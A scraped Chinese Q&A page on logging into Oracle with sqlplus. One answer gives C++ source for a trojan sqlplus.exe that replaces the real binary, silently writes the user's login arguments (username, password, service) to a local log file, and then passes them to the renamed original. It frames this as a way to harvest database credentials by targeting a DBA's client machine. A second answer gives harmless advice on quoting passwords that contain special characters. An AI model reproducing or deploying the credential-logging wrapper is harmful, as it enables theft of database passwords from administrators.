问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

怎么用sqlplus登陆数据库

发布网友 发布时间:2022-05-03 07:20

我来回答

2个回答

懂视网 时间:2022-05-05 20:06

当DBA登录本地或远程数据库时,为了省事,用sqlplus 用户名/密码@连接服务名 的方式登录数据库是再平常不过了,而我们如果将Or

当DBA登录本地或远程数据库时,为了省事,用"sqlplus 用户名/密码@连接服务名" 的方式登录数据库是再平常不过了,而我们如果将Oracle的SQLPlus换成我们自己的实现,然后当使用时,记录下它的登录信息,就得到了数据库的用户名,密码等信息。

这是一种很简单的,偷龙转凤的方式,有其局限性。但有时,,如果数据库本身的防护很严,从DBA客户端这边下手,利用这种方式有时也能有意外的收获。

效果图:

这种方式跑起来和Oracle原来的是一模一样的. 光看是看不来什么地。

SQLPlus得到数据库登录信息

被记录下的登录信息:

代码如下:

/**
*author: xiongchuanliang
*desc: 用自定义的sqlplus替换掉Oracle原版的,并在自定义的程序中记录下用户的登录信息的演示
1. 找到Oracle自带的sqlplus.exe,将其命名为其它文件
2. 用自定义的替换掉原版
*/
#include
#include

#include

#include
#include
using namespace std;

HRESULT CMDEx(const char *pCmd) ;

//将原版的sqlplus.exe改为sqlplus_ora.exe";
const string sqlplus_path = "C:/oracle/product/11.2.0/dbhome_1/BIN/sqlplus_ora.exe";
const string oper_log = "C:/mysqlplus.log";

int main(int argc,char* argv[])
{
string sqlplus_cmd = sqlplus_path;

ofstream flog(oper_log,ios::app);
SYSTEMTIME sys;
if(flog){
GetLocalTime(&sys);
flog< }
for(int i=1;i {
sqlplus_cmd.append(" ");
sqlplus_cmd.append(argv[i]);
if(flog) flog<<" "< }
if(flog){
flog< flog.close();
}
cout<< "演示:%s "< CMDEx(sqlplus_cmd.c_str());
return 0;
}

HRESULT CMDEx(const char *pCmd) //LPCTSTR pszCMD
{

#if defined(WIN32) || defined(WIN64)
if(pCmd == NULL || pCmd[0] == 0)
{
return S_FALSE;
}

STARTUPINFOA si;
PROCESS_INFORMATION pi;
HANDLE hRead, hWrite;
SECURITY_ATTRIBUTES sa = {0, NULL, TRUE};

//创建匿名管道
if(!CreatePipe(&hRead, &hWrite, &sa, 0))
{
return S_FALSE;
}
ZeroMemory( &pi, sizeof(pi) );
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_HIDE;
si.hStdOutput = hWrite;
si.hStdError = hWrite;
si.hStdInput = hRead;
si.dwFlags = STARTF_USESHOWWINDOW;

char szCMD[1024] = {0};
sprintf_s(szCMD,1024,"cmd.exe /C %.1000s",pCmd);

//创建进程执行命令
if(CreateProcessA(NULL,szCMD , NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{

//等待命令执行完成
WaitForSingleObject(pi.hProcess, INFINITE);

CloseHandle(hWrite);
DWORD dwRet, dwReaded;
char szBuf[256] = {0};

//获取进程执行返回值
GetExitCodeProcess(pi.hProcess, &dwRet);

//读取控制台终端输出
while(ReadFile(hRead, szBuf, 255, &dwReaded, NULL))
{
szBuf[dwReaded] = 0;
//输入命令内容到屏幕
cout<< szBuf < memset(szBuf,0,256);
}
CloseHandle(hRead);
return HRESULT_FROM_WIN32(dwRet);
}
else
{
CloseHandle(hWrite);
CloseHandle(hRead);
return(HRESULT_FROM_WIN32(GetLastError()));
}
#else
return 0;
#endif
}

这仅演示了下基本功能,以此类推,其它数据库的一些命令行程序也可以用这种方式做,对这种方式最好的防护方法是在输入连接字符串时不输入明文的密码。

linux

热心网友 时间:2022-05-05 17:14

刚才看到一个问题,说是密码中有特殊字符@,sqlplus的时候报错。
有两个方法可以解决,一个是sqlplus的时候,不明文输入密码 ,等它提示的时候输入。另一个就是在用户名密码前后加上'',密码前后加上"",就可以了。

比如:
sqlplus 'scott/"pass@word"'@TNS

====== 新增部分:
密码如下: aa#@a
则应该如下处理
sqlplus username/\"aa#@a\"@TNS
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
酒驾缓刑节保证书怎么写 合同法律咨询免费 这款充电宝可以带上飞机吗? 倪俊卿成就及荣誉 江苏种牛站有几家? 山东宏正牧业有限公司服务承诺 吃早餐后抽血会影响体检结果吗 电脑如何设置护眼模式(台式电脑如何设置护眼模式) 电脑显示器设置护眼电脑屏幕怎么设置比较护眼 广告机是否支持分屏显示功能? 立秋这首古诗的意思是什么 我男的,马丁靴配西装好看吗? 2021党旗映天山传承红色精神是什么节目 红色文化2021年12月26日在北京有活动吗 红色教育是指什么? 2021年全民国防教育日主题是什么? 红色主题教育掌管有哪8个内容? 通信原理实验的图书目录 教你如何搞定学校机房免费上网 怎么使用手机连接电脑上网 教你畅游网络 无线路由器怎么用? 教你轻松设置上网 教你如何加快电脑上网速度 教你如何在网吧上网不用花钱 yslniki有黑点 为什么我的niki不软 yslniki系列有哪些 自考本没有工作,单位评语怎么写? 自考毕业单位怎么写鉴定意见 好听英文歌(适合小学六年级唱的,不要摇滚乐,要有题目) 适合小学生唱的英文歌 我六年级 别 太难也别太简单 一枕新凉一扇风是什么意思 用SqlPlus备份还原数据库,该怎么处理 南宋诗人刘翰写的《立秋》中,是睡起秋色还是睡起秋声,感谢! excel让用户窗体桌面置顶? Office中Excel首行如何顶置 上海虹桥火车站出发到苏州吴中区怎么走 从虹桥火车站到苏州火车站坐大巴得多少钱 虹桥火车站到苏州价格? 上海虹桥火车站到苏州火车站本班车时间 上海虹桥火车站有动车到苏州吗? 上海虹桥火车站到苏州掘政圆 上海虹桥火车站到苏州中间经过几站 从上海虹桥怎么走大巴去苏州 上海虹桥到苏州 求怎样从上海虹桥火车站直达到苏州同里? 上海虹桥站到苏州市工业园区怎么走 高铁 上海虹桥站到苏州站要多久 我5点到上海虹桥站,要再往苏州,要坐那趟列车,要不要出站 中华陈氏通鉴 有关陈氏的由来 族谱 人口数量等资料